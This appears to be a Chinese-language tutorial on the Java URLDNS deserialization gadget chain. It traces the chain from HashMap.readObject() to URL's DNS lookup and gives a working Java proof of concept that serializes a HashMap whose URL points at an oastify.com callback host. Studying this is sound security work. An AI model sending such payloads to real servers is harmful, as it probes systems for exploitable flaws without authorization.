URLDNS链
URLDNS链是一个常见的Java反序列化利用链,通常利用该链来探测是否存在反序列化漏洞/探测能否出网
当服务器存在反序列化漏洞时,传入后发起dns请求
原理
HashMap
重写了readObject
,反序列化时会调用hash()
来计算hashCode,而Java的URL类在计算hashCode
时会调用getHostAddress
来进行域名解析,发送DNS请求。
URL类实现了Serializable接口

思路解析
要反序列化的对象是hashMap
,查看他的readObject()

发现putVal()
,跟进他的hash()

当key!=0
,返回key的hashCode(),若key为URL对象->调用URL的hashCode()

hashCode==-1
时执行handler.hashCode()

发现getHostAddress() -> 发送DNS请求
Gadget Chain:
1
| HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URLStreamHandler.getHostAddress()
|
所以当hashCode==-1
时,执行

为了确保键的唯一,hashMap.put()
中已经调用了hash()方法


所以在hashMap.put()
时就已经发起了一个DNS请求
在URL类中hashCode
初始值为-1,put后hashCode值改变不为-1,后面反序列化也不会发送dns请求
为了避免上述情况,需要在put后通过反射修改hashCode的值为-1
POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55
| import java.io.*; import java.lang.reflect.Field; import java.net.URL; import java.util.HashMap;
public class SerializeTest { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>(); URL url = new URL("http://ceuuqevw4tue5zuros4d9d3sjjpbd31s.oastify.com");
Class c = url.getClass(); Field hashCodefield = c.getDeclaredField("hashCode"); hashCodefield.setAccessible(true); hashCodefield.set(url,520); hashMap.put(url,1); hashCodefield.set(url,-1); serialize(hashMap); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); System.out.println(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
class Person implements Serializable { String name; int age;
public Person() { }
public Person(String name, int age) { this.name = name; this.age = age; }
@Override public String toString() { return "Person{" + "name='" + name + '\'' + ", age=" + age + '}'; } }
|
